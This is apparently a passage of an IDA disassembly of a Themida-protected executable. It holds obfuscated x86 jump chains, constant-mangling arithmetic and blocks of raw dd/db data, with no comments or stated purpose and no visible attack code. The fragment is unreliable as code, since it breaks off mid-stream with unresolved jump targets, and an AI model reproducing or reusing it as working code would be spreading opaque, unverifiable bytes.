24048B5Dh, 381BE9h, 243C8B00h dd 8104C483h, 385145EFh, 81D7015Fh, 385145C7h, 24148B5Fh dd 10BABE9h db 0 ; --------------------------------------------------------------------------- loc_552909: ; CODE XREF: Themida_:0055A2CFj pop ebx add eax, ecx jmp loc_56601E ; --------------------------------------------------------------------------- loc_552911: ; CODE XREF: Themida_:00552E5Cj mov [esp], ecx jmp loc_561E33 ; --------------------------------------------------------------------------- db 52h, 55h, 68h dd 0FFFFFBFFh, 3481555Dh, 9B168124h, 0BB535A5Fh, 5F9B1681h dd 8B5BDA31h, 5451242Ch, 8B2434FFh, 0C481240Ch, 4, 5004C483h dd 113D2E9h db 0 ; --------------------------------------------------------------------------- loc_55294D: ; CODE XREF: Themida_:0055CAA8j shl ebp, 7 jmp loc_559CC1 ; --------------------------------------------------------------------------- db 0C1h, 0EAh, 8 dd 1226BE9h, 0BB535B00h, 35EA6202h, 0D2F7D387h, 44E9D387h dd 31000033h, 3C33243Ch, 24248B24h, 4EC8155h, 89000000h dd 4832424h, 2C8B0424h, 4C48324h, 11359E9h, 815D5400h dd 4C5h, 0D2E95100h, 0BD000095h, 744B2832h, 8105EDC1h dd 9C53A6CDh, 87554524h, 0D3F7241Ch, 0B1FCE9h, 5BD88900h dd 81240C8Bh, 4C4h, 6E0C100h, 0AE3A040Dh, 6DF30D38h, 0BA52483Dh dd 40CA7B55h, 6D42B62Dh, 5D0297Bh, 7B6D42B6h, 49E2D5Ah dd 0EA81B835h, 300014DAh, 0C281C201h, 300014DAh, 5F136858h dd 2C890000h, 0A6ABE924h, 0CE310000h, 1C68159h, 87000000h dd 0DE3143DEh, 0DE31F331h, 2495E951h db 1, 0 ; --------------------------------------------------------------------------- loc_552A1E: ; CODE XREF: Themida_:0055EA17j pop ebp not ecx xor ecx, 69C52318h jmp loc_5573EC ; --------------------------------------------------------------------------- dd 815BDF29h, 791BF0EFh, 5FF80997h, 0E904E0C1h, 9CF8h ; --------------------------------------------------------------------------- loc_552A40: ; CODE XREF: Themida_:0055EDA5j add edi, 740F7671h sub edi, 69F557AAh pop eax jmp loc_565D1A ; --------------------------------------------------------------------------- dw 0BD55h dd 331E10C4h, 0DDF7DDF7h, 2A3FED81h, 0E9456994h, 0ECA3h ; --------------------------------------------------------------------------- loc_552A68: ; CODE XREF: Themida_:00554051j shr eax, 1 dec eax not eax sub esp, 4 mov [esp], ecx mov ecx, 1C680C61h shl ecx, 7 not ecx jmp loc_5629A5 ; --------------------------------------------------------------------------- aXpirs2 db 'XP‰àé2½',0 align 2 loc_552A8E: ; CODE XREF: Themida_:00558A5Bj xor edx, 0A3689AE5h sub ecx, edx pop edx sub ecx, edx add ecx, 6CD76E9Ah add ecx, 4CF91C2Fh pop edx and eax, ecx pop ecx or eax, eax jz loc_564F23 push dword ptr [edi+1Ch] push dword ptr [esp] mov ecx, [esp] jmp loc_557FBD ; --------------------------------------------------------------------------- db 89h dd 0E5BA2414h, 314EF112h, 509DE9D1h, 0E95B0000h, 8DF3h dd 4B9h, 59C80100h, 8B240487h, 48F2424h, 8B665C24h, 0EC832404h dd 24148904h db 89h, 0E2h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_562A12 ; --------------------------------------------------------------------------- loc_552B06: ; CODE XREF: Themida_:0055F8F3j pop ecx push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_557705 ; --------------------------------------------------------------------------- db 81h dd 2EFh, 243C8700h, 0C89665Ch, 0B3536624h, 1E6E973h db 1, 0 ; --------------------------------------------------------------------------- loc_552B32: ; CODE XREF: Themida_:0055D0ACj dec ebp push ecx mov ecx, 5E136C3Ah and ecx, 57C97CEEh not ecx inc ecx add ecx, 43A6120Dh jmp loc_562A44 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 6ACABF57h, 0CEB864F4h, 3164F46Ah, 44015FF8h, 59580424h dd 26CBE9h db 0 ; --------------------------------------------------------------------------- loc_552B69: ; CODE XREF: Themida_:00563F26j add ch, ah jmp loc_565C5F ; --------------------------------------------------------------------------- loc_552B70: ; CODE XREF: Themida_:00554BB0j push ecx jmp loc_566731 ; --------------------------------------------------------------------------- loc_552B76: ; CODE XREF: Themida_:0055C0B0j push eax mov eax, 0C494297h sub eax, 6C585820h jmp loc_56227B ; --------------------------------------------------------------------------- dw 34FFh dd 0C4815D24h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ebx push eax push 4B2445D4h jmp loc_552582 ; --------------------------------------------------------------------------- db 0B8h, 5Ah, 8 dd 0CDE91D72h, 0D10000A5h, 0D6F746EEh, 0FF26E9h db 0 ; --------------------------------------------------------------------------- loc_552BB9: ; CODE XREF: Themida_:00554D35j push dword ptr [esp] pop eax add esp, 4 push 5D1Bh mov [esp], edi mov edi, esp add edi, 4 push ecx mov ecx, 328E6608h add ecx, 0FFFFFFFFh push edx mov edx, 69E163E5h dec edx xor edx, 0AC248D6h add ecx, edx mov edx, [esp] jmp loc_555C73 ; --------------------------------------------------------------------------- loc_552BF3: ; CODE XREF: Themida_:0055433Fj push ebx mov ebx, esp push edi mov edi, 706C138Ah neg edi not edi jmp loc_565A12 ; --------------------------------------------------------------------------- db 0F7h, 0D5h, 0C1h dd 0DDF708E5h, 4F88CD81h, 0C5817AD2h, 5A987734h, 895DEB31h dd 0D7295BDAh, 8124148Bh, 4C4h, 243C3300h, 33243C31h, 0E95C243Ch dd 0D177h ; --------------------------------------------------------------------------- loc_552C38: ; CODE XREF: Themida_:0055AE6Ej mov [esp], edx jmp loc_557343 ; --------------------------------------------------------------------------- loc_552C40: ; CODE XREF: Themida_:0055ACCBj xchg ecx, [esp] pop esp mov [esp], eax jmp loc_5581FF ; --------------------------------------------------------------------------- a1qSsz db '1ï]陇',0 align 4 loc_552C54: ; CODE XREF: Themida_:005555BAj push ebp jmp loc_5639D0 ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 0E3895358h, 4C381h, 0BEE90000h, 0B7000126h dd 80C7FEC7h, 0FD2838C7h, 3D1BE95Bh, 74FF0001h, 0D4E90424h dd 880000E5h, 4F22E9DEh, 0E9520000h, 3AF7h ; --------------------------------------------------------------------------- loc_552C94: ; CODE XREF: Themida_:0055F1E9j xchg ebp, [esp] pop esp shr ecx, 6 jmp loc_554D29 ; --------------------------------------------------------------------------- dd 8BC68166h, 0DE016667h, 8BEE8166h, 241C8B67h, 0E904C483h dd 0F6ACh, 4C481h, 89530000h, 4C381E3h, 81000000h, 4C3h dd 241C8700h, 92B685Ch, 4890000h, 52585424h, 62BDBF57h dd 0B9BA3359h, 31335962h, 9A2D5FFAh, 0E94F9018h, 52D1h ; --------------------------------------------------------------------------- loc_552CF4: ; CODE XREF: Themida_:0055AD66j xchg eax, [esp] mov esp, [esp] pop edx jmp loc_5516EE ; --------------------------------------------------------------------------- dd 4C781h, 0EF830000h, 243C8704h, 242C895Ch, 0EC83E589h dd 24148904h, 0BC18E9h, 4C18100h, 52000000h, 0B55DE9h db 0 ; --------------------------------------------------------------------------- loc_552D29: ; CODE XREF: Themida_:00554141j sub edx, 47E7005Ah add edx, 0FEF4B3Dh push dword ptr [esp] pop edi jmp loc_55AEFE ; --------------------------------------------------------------------------- loc_552D3E: ; CODE XREF: Themida_:00556CF3j pop esp mov [esp], ecx mov ecx, 24h add ecx, edi add [ecx], ebp push dword ptr [esp] pop ecx add esp, 4 pop ebp loc_552D56: ; CODE XREF: Themida_:005614EBj push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_55BBDB ; --------------------------------------------------------------------------- dw 6866h dd 896670B8h, 8BB62414h, 0E9E3B753h, 36D4h, 2C9DE95Eh dd 1580000h, 5BB53CDh, 12B9850h, 0CC3E9DDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_552D96: ; CODE XREF: Themida_:0055A8C9j mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push esp pop edi sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], esi push 6AADh mov [esp], edi mov edi, 4 push edi add dword ptr [esp], 7C974268h pop esi sub esi, 7C974268h pop edi mov ebx, esi pop esi add edi, ebx pop ebx sub edi, 4 xor edi, [esp] xor [esp], edi jmp loc_55D432 ; --------------------------------------------------------------------------- db 48h dd 325BBB53h, 0C3816F5Eh, 356D0EB7h, 4BF1C381h, 0D831ADC6h dd 8BC3295Bh, 0C4832404h, 97C38104h, 0E9238D75h, 3C04h dd 0BCE9505Ch db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_552E23: ; CODE XREF: Themida_:0055BBF5j push edx mov edx, 1B751B9Bh xor edx, 0DF5FDCB1h jmp loc_564E1A ; --------------------------------------------------------------------------- loc_552E34: ; CODE XREF: Themida_:00559629j pop bx sub cl, 6Bh shr cl, 4 xor cl, 5Bh add dh, cl pop ecx mov bh, dh pop edx not bh jmp loc_561BCB ; --------------------------------------------------------------------------- loc_552E4C: ; CODE XREF: Themida_:005565BCj push eax push edi push eax mov eax, 3E6109CFh mov edi, eax pop eax push 21B7h jmp loc_552911 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 6804C483h, 0 dd 5A241429h, 0C281EAD1h, 2093D20Dh, 815AD789h, 64042444h dd 0E970FE54h, 25E5h, 0E95EF301h, 13BB4h, 515EF229h, 0B92FCB68h dd 0CA295917h, 4B6CE9h, 54A96800h, 0C5E90000h, 0FF0000DEh dd 669D1C77h, 4116658h, 33E99C24h db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552EBB: ; CODE XREF: Themida_:00565BAEj mov ebx, [esp] add esp, 4 push esi mov esi, 4 add ebp, esi pop esi xchg ebp, [esp] pop esp xchg ecx, [esp] mov esp, [esp] and [esp], ax pushf jmp loc_5516EE ; --------------------------------------------------------------------------- dw 1487h dd 0C5815C24h, 4, 8904EC83h, 2B82404h, 1000000h, 0F405E9C5h dd 0EE290000h, 83242C8Bh, 34FF04C4h, 0F125E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552F0A: ; CODE XREF: Themida_:0055579Fj not byte ptr [esp+1] pop eax jmp loc_55AF85 ; --------------------------------------------------------------------------- dd 16EE815Dh, 0E992ECA2h, 0E42h, 15BDE31h, 24348BF0h, 4C481h dd 0A5E90000h, 81FFFFF2h, 4C4h, 8BD90900h, 0C483241Ch dd 0C6E98104h, 16E8935h, 0BD5559CAh, 351C2D14h, 6431ED81h dd 0F7556533h, 34FF2414h, 0C4835D24h, 0E8C58104h, 29CFE8C8h dd 2CABE9EAh, 4B80001h, 0E9000000h, 11370h, 79DA68h, 24348900h dd 591CBE66h, 4EEC166h, 61F68166h, 0B866502Ch, 0D664B28h dd 0C1667572h, 0D6605E8h, 0D660B59h, 35661724h, 966247Ch dd 24048BC6h, 616AE9h db 0 ; --------------------------------------------------------------------------- loc_552FB1: ; CODE XREF: Themida_:0055983Dj mov [esp], ebp mov ebp, esp push ecx mov ecx, 3F980A26h dec ecx add ecx, 6CB0C53h shr ecx, 2 add ecx, 55467984h add ecx, 9920C0E2h jmp loc_55B1CF ; --------------------------------------------------------------------------- loc_552FD7: ; CODE XREF: Themida_:00561BBCj mov esp, [esp] mov [esp], esi mov esi, 125B242Bh jmp loc_55B23D ; --------------------------------------------------------------------------- db 5Eh dd 8B24048Fh, 0FB012424h, 525B0303h, 2434FF54h, 0A209E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_552FFE: ; CODE XREF: Themida_:0055C0DDj pop ebp jmp loc_553434 ; --------------------------------------------------------------------------- dd 0A63A055Eh, 0C129960Eh, 0F2ACE958h, 0B32D0000h, 591DF926h dd 0E9240433h, 374h ; --------------------------------------------------------------------------- loc_553020: ; CODE XREF: Themida_:00555C5Bj mov edx, esi jmp loc_5638F8 ; --------------------------------------------------------------------------- loc_553027: ; CODE XREF: Themida_:0055C615j mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_558DD0 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 4EC8300h, 54240C89h, 4C18159h, 81000000h, 4E9h dd 240C8700h, 8924248Bh, 82E92404h, 0FF0000B5h, 56592434h dd 0FFEBABE9h, 240C8BFFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5656E7 ; --------------------------------------------------------------------------- loc_553083: ; CODE XREF: Themida_:0055CAB7j push edx mov edx, 10C16974h inc edx jmp loc_56052A ; --------------------------------------------------------------------------- db 68h dd 27CDh, 0B8240489h, 3FBD56F5h, 0EDB95140h, 91158418h dd 5051D0F7h, 0E9815859h, 22612824h, 2786E981h, 81490605h dd 293497E9h, 6433E9BAh, 89580000h, 1D46E9FEh, 66580000h dd 30BE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5530D2: ; CODE XREF: Themida_:00566027j mov ebp, [esp] push edi jmp loc_55DA02 ; --------------------------------------------------------------------------- aPs db 'PéÎ)',0 db 0 ; --------------------------------------------------------------------------- loc_5530E1: ; CODE XREF: Themida_:0055F52Cj mov eax, 21B73E24h add eax, ecx jmp loc_55FF18 ; --------------------------------------------------------------------------- db 5Ah, 30h, 0C3h dd 0FFC0B60Fh, 9EE98734h, 5800001Ch, 748FBD55h, 0F581444Ch dd 52170A84h, 0E95DEA01h, 0FB8Bh, 293B6405h, 0F4AFE97Ah dd 0C6810000h, 45CD2637h, 5EF3295Fh, 7140EB81h, 0C3816A99h dd 1E807595h, 0E5E7E95Fh, 822D0000h, 56119F3Bh, 9C0DB6BEh dd 0C3F68150h, 95C3E45h, 0FEB6E9F0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55314E: ; CODE XREF: Themida_:00566525j sub esp, 4 mov [esp], esi mov esi, 0EF93F7Fh add esi, 0B90086C4h add ebx, esi mov esi, [esp] jmp loc_5543A6 ; --------------------------------------------------------------------------- loc_553169: ; CODE XREF: Themida_:00565214j push ebx pop esi pop ebx pop ebx not esi add esi, 4FD8238Dh shl esi, 5 jmp loc_563804 ; --------------------------------------------------------------------------- loc_55317D: ; CODE XREF: Themida_:00556A32j mov edi, [esp] add esp, 4 push 4C2Fh jmp loc_551F42 ; --------------------------------------------------------------------------- loc_553190: ; CODE XREF: Themida_:0055A7ACj pop ebp push eax jmp loc_559530 ; --------------------------------------------------------------------------- loc_553197: ; CODE XREF: Themida_:0055E0EBj mov [esp], esp add dword ptr [esp], 4 jmp loc_558B7B ; --------------------------------------------------------------------------- db 58h dd 815DE831h, 0B06E5BC2h, 0F7A6E97Bh, 4330000h, 24248B24h dd 0EFBA5257h, 0E9777760h, 7261h, 4997E581h, 0E5811EAFh dd 28013E93h, 73C9ED81h, 0C5812475h, 969C8EB6h, 10D7CE9h dd 24048F00h, 4BB53h, 5C010000h, 0FF5B0424h, 0DCE92434h dd 83000080h, 48904ECh, 24048B24h, 22368h, 240C8900h, 4EC81h dd 8F540000h, 0B8502404h, 27A4311Fh, 3007E9h, 80DCF600h dd 0EC80FFECh, 45EF80F1h, 38E9E728h, 900003Fh, 0E99C2404h dd 0FFFFE4B6h ; --------------------------------------------------------------------------- loc_553238: ; CODE XREF: Themida_:00558441j pop eax push edi mov edi, 4 add ebp, edi pop edi xchg ebp, [esp] mov esp, [esp] push esi mov esi, 2 add ecx, esi mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_55D094 ; --------------------------------------------------------------------------- dd 8BD8895Ch, 0B3E9241Ch db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55326F: ; CODE XREF: Themida_:0055B628j pop esi pop dword ptr [esp] pop esp or edx, eax shl edx, 1 push 17B8h mov [esp], edx jmp loc_551CE4 ; --------------------------------------------------------------------------- aFs_ db 'Fé',27h,'_',0 dw 2900h dd 4FC381C3h, 55560351h, 3894E9h, 2C77FF00h, 0FFE44DE9h dd 24248BFFh, 0E9243489h, 0C7D9h ; --------------------------------------------------------------------------- loc_5532AC: ; CODE XREF: Themida_:0055A54Ej shl esi, 3 jmp loc_552291 ; --------------------------------------------------------------------------- dd 8104C483h, 4C4h, 81D60100h, 4ECh, 8EF7E900h, 3ABE0000h dd 553FBB5Dh, 346B2ABDh, 0F5C58142h, 0F70AFD3Eh, 0FFD5E9D5h dd 0F0BF0000h, 0E917D825h, 0FFFFF1AFh ; --------------------------------------------------------------------------- loc_5532EC: ; CODE XREF: Themida_:005579EBj movzx eax, al lea eax, [edi+eax*4] jmp loc_5599EF ; --------------------------------------------------------------------------- db 8Bh dd 9E682404h, 0E9000075h, 2390h, 0DFF33005h, 0B9C6819Fh dd 0E9710548h, 10C89h, 6EDF022Dh, 9EE9525Ch db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55331F: ; CODE XREF: Themida_:00556D14j add ebx, edx pop edx sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov [esp], ebp push esp push dword ptr [esp] jmp loc_558A7D ; --------------------------------------------------------------------------- loc_55333B: ; CODE XREF: Themida_:0055E1ECj not eax push ebp mov ebp, 0 jmp loc_55948B ; --------------------------------------------------------------------------- dd 0AD3CEE81h, 0F029D834h, 0F34BE9h db 0 ; --------------------------------------------------------------------------- loc_553355: ; CODE XREF: Themida_:00565A1Ej xor edi, 494CE617h add ebx, edi pop edi add ebx, 4 xchg ebx, [esp] pop esp jmp loc_559003 ; --------------------------------------------------------------------------- db 33h, 3Ch, 24h dd 2124248Bh, 0E9C15FF9h, 0FC00B00h, 53B784h, 40B46800h dd 1C890000h, 2434FF24h, 0E924048Bh, 0C585h, 33240431h dd 248B2404h, 48B6624h, 90E95224h, 83FFFFE7h, 0E4E9FFEDh db 0A9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5533AF: ; CODE XREF: Themida_:0055B799j shl edx, 7 jmp loc_556016 ; --------------------------------------------------------------------------- loc_5533B7: ; CODE XREF: Themida_:005655E1j add esi, 9F441F80h sub ecx, esi pop esi pop eax add ecx, edi add [ecx], edx mov ecx, [esp] add esp, 4 push dword ptr [esp] pop edx jmp loc_5665B4 ; --------------------------------------------------------------------------- dd 0F9B75366h, 81EDE9h, 48B86600h, 0C721663Ch, 81665866h dd 66509BC7h, 6866D7F7h, 29660000h, 5F66243Ch, 3E7C166h dd 0D585E9h, 4C48100h, 28000000h, 92EB80C3h, 81F4C380h dd 4ECh, 0DEE900h, 34FF0000h, 24048B24h, 51E38953h, 410BE9h dd 0B60F5C00h, 0E95455C8h, 2311h ; --------------------------------------------------------------------------- loc_553434: ; CODE XREF: Themida_:00552FFFj mov edi, ecx pop ecx jmp loc_553ED4 ; --------------------------------------------------------------------------- loc_55343C: ; CODE XREF: Themida_:00566005j push esp pop ecx sub esp, 4 mov [esp], ebp mov ebp, 58273FBBh add ebp, 277E5C41h xor ebp, 72153B59h jmp loc_55D406 ; --------------------------------------------------------------------------- dw 0DF21h dd 0C1DFF75Bh, 9CE903E7h, 810000E9h, 4C1h, 240C8700h, 0FC90B5Ch dd 117084h, 64DD6800h, 8F540000h, 36E92404h db 12h, 1, 0 ; --------------------------------------------------------------------------- loc_553487: ; CODE XREF: Themida_:005589C2j push esp pop eax add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edi push dword ptr [esp+4] jmp loc_552271 ; --------------------------------------------------------------------------- loc_5534A3: ; CODE XREF: Themida_:00564D40j mov [esp], ecx push eax push 1DAE64F9h mov eax, [esp] add esp, 4 mov ecx, eax jmp loc_55CFC8 ; --------------------------------------------------------------------------- loc_5534B9: ; CODE XREF: Themida_:005517B7j mov bh, 6Fh add bh, 0Fh add ch, bh pop ebx and ch, 85h add ch, 32h sub bl, 23h sub bl, ch add bl, 23h mov ecx, [esp] add esp, 4 jmp loc_55E0D7 ; --------------------------------------------------------------------------- loc_5534DD: ; CODE XREF: Themida_:00554B76j sub ecx, 289C500Bh jmp loc_55636F ; --------------------------------------------------------------------------- loc_5534E8: ; CODE XREF: Themida_:0055D95Aj mov edi, ebx mov edx, edi pop edi push dword ptr [esp] push dword ptr [esp] jmp loc_559BF7 ; --------------------------------------------------------------------------- dd 0B4240489h, 0E2885216h, 0B005E9h db 0 ; --------------------------------------------------------------------------- loc_553505: ; CODE XREF: Themida_:00555503j pop eax jmp loc_5625D1 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h, 4C38304h, 5C241C87h, 0E924048Fh, 5E2Bh dd 8104C483h, 0A67333E9h, 57F9015Dh, 10DA5E9h, 24048100h dd 4, 4C7815Fh, 0E9000000h, 89FFh, 4C481h, 0E9810000h dd 4, 1112CE9h db 0 ; --------------------------------------------------------------------------- loc_553555: ; CODE XREF: Themida_:00565E84j add ebp, ecx pop ecx push 2CE3h mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp bt [esp], eax pushf jmp loc_5516EE ; --------------------------------------------------------------------------- loc_553573: ; CODE XREF: Themida_:0056209Bj push ebp mov ebp, 2537537Fh or ebp, 6FC03855h sub ebp, 3741FC2Ch add ecx, ebp push dword ptr [esp] pop ebp add esp, 4 sub ebx, ecx jmp loc_55C28F ; --------------------------------------------------------------------------- dd 8904EC83h, 0EC83241Ch, 240C8904h, 3FF068h, 243C8900h dd 0DA019BBFh, 0BF575278h, 48093B0Ah, 535FFA89h, 1553FEBBh dd 3297E925h, 0EF880000h, 499CE9h db 0 ; --------------------------------------------------------------------------- loc_5535CD: ; CODE XREF: Themida_:00556BDFj add edi, 2ADB55ADh add edi, ebx sub edi, 2ADB55ADh jmp loc_55E4EC ; --------------------------------------------------------------------------- dd 2E0C148h, 0ED5F8505h, 49E72D3Dh, 2E055143h, 138112Bh dd 66E958C1h, 0C1FFFFE6h, 0C18106E9h, 1, 4BF18149h, 0E92764D7h dd 0FFFFF3F6h ; --------------------------------------------------------------------------- loc_553610: ; CODE XREF: Themida_:00558FA3j push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] push ebp mov ebp, esp jmp loc_55A2D4 ; --------------------------------------------------------------------------- db 31h dd 31F231D0h, 0E9F231D6h, 0DBA5h, 5103E5C1h, 6F47BB53h dd 0F7435F4Ah, 878BE9DBh, 0BB530000h, 640970A1h, 8F61C381h dd 0DE899BF6h, 668CE9h, 14F75600h, 0C6815E24h, 416226B5h dd 348BF001h, 131AE924h, 75B60001h, 3925E9h db 0 ; --------------------------------------------------------------------------- loc_553671: ; CODE XREF: Themida_:005567B6j mov edi, [esp] add esp, 4 sub esp, 4 jmp loc_55D065 ; --------------------------------------------------------------------------- loc_553682: ; CODE XREF: Themida_:00554FF5j pop ebx jmp loc_56478D ; --------------------------------------------------------------------------- dd 1E94E981h, 0E9810F6Ah, 6362768Bh, 3978BF57h, 0F9296436h dd 0E9815E5Fh, 4, 497268h, 240C8900h, 42474FFh, 24048F59h dd 8924248Bh, 8BD242Ch, 0E935817Dh, 4E71h, 46EFC281h, 0EA8177CFh dd 1FB7FBEBh, 4245401h, 2434FF5Ah, 4C4835Eh, 26BF5755h dd 4F110B2Fh, 0D0DFC781h, 5D57EEF4h, 0EBBDE9h, 0C6815E00h dd 4, 0CF46E9h, 0FCF78100h, 8129F4C0h, 0BD2825C2h, 81FA0101h dd 0BD2825EAh, 0E9815F01h, 5BFE6021h, 73E9D129h, 68000066h dd 1EEAh, 87243489h, 0D5F7242Ch, 33242C31h, 3E9242Ch db 47h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553737: ; CODE XREF: Themida_:0055C045j add ebx, 46025912h push eax mov eax, 21986EADh neg eax dec eax sub eax, 0DE679153h sub ebx, 4A744668h jmp loc_55E553 ; --------------------------------------------------------------------------- loc_553756: ; CODE XREF: Themida_:00562A46j mov ecx, [esp] add esp, 4 add edi, ebp jmp loc_558FA8 ; --------------------------------------------------------------------------- db 83h dd 0AAE904C4h db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55376B: ; CODE XREF: Themida_:0055D0F8j mov ebp, 7C5DF386h add ebx, ebp mov ebp, [esp] add esp, 4 jmp loc_560412 ; --------------------------------------------------------------------------- aLZSfk db '‹$$‡,$\é”k',0 align 4 dd 0EB81C301h, 51AC3AE7h, 1899BF57h, 0BA522BE7h, 1FA00947h dd 12E9D301h db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_5537A7: ; CODE XREF: Themida_:005516EFj xor al, bl push ecx mov ch, 1Dh shl ch, 3 push small 0 sub [esp], ch mov ch, [esp] jmp loc_55F7BA ; --------------------------------------------------------------------------- dw 48Bh dd 11DF6824h, 3C890000h, 81E78924h, 4C7h, 4BB5300h, 1000000h dd 0C6E95BDFh, 88000078h, 26D468F0h, 14890000h, 88C28824h dd 9399E9D3h, 0C1080000h, 0E9D9F658h, 57E3h ; --------------------------------------------------------------------------- loc_5537FC: ; CODE XREF: Themida_:00557DD7j push ebx mov ebx, 25DB4CD9h shr ebx, 6 inc ebx add ebx, 0EF8224Bh push ecx push 15BA0016h pop ecx xor ebx, ecx pop ecx xor edi, ebx pop ebx push 5CF0h mov [esp], eax mov eax, edi push edi mov edi, eax mov ecx, edi pop edi pop eax pop edi push ecx xchg ebp, [esp] jmp loc_557BEA ; --------------------------------------------------------------------------- dd 5F54575Bh, 4C781h, 0C7830000h, 0F49FE904h, 1CBB0000h dd 1356C10h, 0EDD15BDDh, 61D56852h, 15A64B4h, 0C5815AD5h dd 0C4F401F6h, 2C8BEA09h, 4C48324h, 0FFE8E9E9h db 0FFh ; --------------------------------------------------------------------------- loc_55386D: ; CODE XREF: Themida_:005603F0j add edx, eax push eax jmp loc_559492 ; --------------------------------------------------------------------------- aZsL db 'Zé',0Dh,'«',0 dw 5000h dd 405E089h, 0E9000000h, 126DEh, 0A11D3D68h, 0D4B4E913h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553892: ; CODE XREF: Themida_:00560F04j add esp, 4 push ebp push ecx mov ecx, 0BC26CFh mov ebp, ecx jmp loc_55D623 ; --------------------------------------------------------------------------- db 81h dd 6B3EADEAh, 0F5E95B08h, 890000A9h, 4C581E5h, 83000000h dd 2C3304EDh, 242C3124h, 8B242C33h, 3C892424h, 0A69BF24h dd 0E95363A1h, 1197Fh, 68D830ACh, 767h, 804AE9h, 240C8B00h dd 461968h, 24348900h, 0E951E689h, 0BB8Bh, 5C24048Fh, 24043166h dd 0DC94E99Ch, 34330000h, 0E9E95C24h db 7Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55390B: ; CODE XREF: Themida_:0055516Dj mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_56264D ; --------------------------------------------------------------------------- aNsad db 'é€d',0 align 4 dd 1CE368h, 240C8900h, 0FFEF8DE9h, 0E78147FFh, 1997F29h dd 145EC781h, 0F831156Eh, 81243C8Bh, 4C4h, 8D42E900h, 29590000h dd 37E955C3h db 34h, 1, 0 ; --------------------------------------------------------------------------- loc_553957: ; CODE XREF: Themida_:005528B9j push dword ptr [esp] jmp loc_558936 ; --------------------------------------------------------------------------- loc_55395F: ; CODE XREF: Themida_:005653C3j push ebx jmp loc_55CAE2 ; --------------------------------------------------------------------------- a3S db ')ß[3<$é(Ñ',0 align 10h loc_553970: ; CODE XREF: Themida_:005640EBj xchg eax, [esp] pop esp push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp or edx, eax shl edx, 1 push ebx push 5823h mov [esp], edx push ebp jmp loc_5601BB ; --------------------------------------------------------------------------- db 53h dd 610153BBh, 0E3814B0Fh, 7C2733Eh, 0F703E3C1h, 0D9CB81D3h dd 813F8059h, 0C2C312EBh, 0C9C78107h, 0E9320D4Bh, 0A785h dd 42474FFh, 56240C8Bh, 0AE0CE9h db 0 ; --------------------------------------------------------------------------- loc_5539CD: ; CODE XREF: Themida_:005547FBj pop dword ptr [esp] mov esp, [esp] mov [esp], edx push 1Ch push dword ptr [esp] pop edx push edx mov edx, esp push ebx mov ebx, 4 add edx, ebx pop ebx add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp sub edx, 2305F4Fh jmp loc_566228 ; --------------------------------------------------------------------------- dw 0FD87h dd 0E7C1EF87h, 60B95107h, 290641E0h, 0BE5659CFh, 6EB2A0Bh dd 3BCFCE81h, 0F681365Dh, 45CB6ACAh, 295EF029h, 6FFEE9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553A32: ; CODE XREF: Themida_:0056484Aj push esi mov esi, 44710599h xor edi, esi pop esi push edx push ebp mov ebp, 5EFE45BCh neg ebp not ebp jmp loc_5646D2 ; --------------------------------------------------------------------------- db 5Dh dd 0C581EDD1h, 0EFAE110Fh, 32C0E9h, 2434FF00h, 2208E95Bh dd 0E9560001h, 624Eh, 5559CD01h, 42474FFh, 24048F5Dh, 0AECF805Ch dd 0C0CFEF80h, 0C78004EFh, 0EEA3E917h, 835D0000h, 0C13104C4h dd 59545158h, 0FFF288E9h, 240C8BFFh, 0D6D7E9h, 51D18700h dd 0E92414F7h, 0D60Ah ; --------------------------------------------------------------------------- loc_553AA8: ; CODE XREF: Themida_:00563903j push ebp push dword ptr [esp+4] jmp loc_5653E5 ; --------------------------------------------------------------------------- dw 515Eh dd 1404E9h, 0C3815A00h, 48356C8Dh, 0EB81FB01h, 48356C8Dh dd 947EB81h, 665F1FA0h, 17E930FFh, 83FFFFDCh, 0D9E904ECh dd 0D20000CAh, 0E99C242Ch, 0FFFFDC06h, 0BE468h, 241C8900h dd 0DC68E389h, 89000005h, 14BE2434h, 81654915h, 90B7AF6h dd 8E6C151h, 0EE81D6F7h, 0BFE191FBh, 525EF301h, 4BAh, 5AD30100h dd 5C241C87h, 1A9868h, 24048900h, 582434FFh, 626968h, 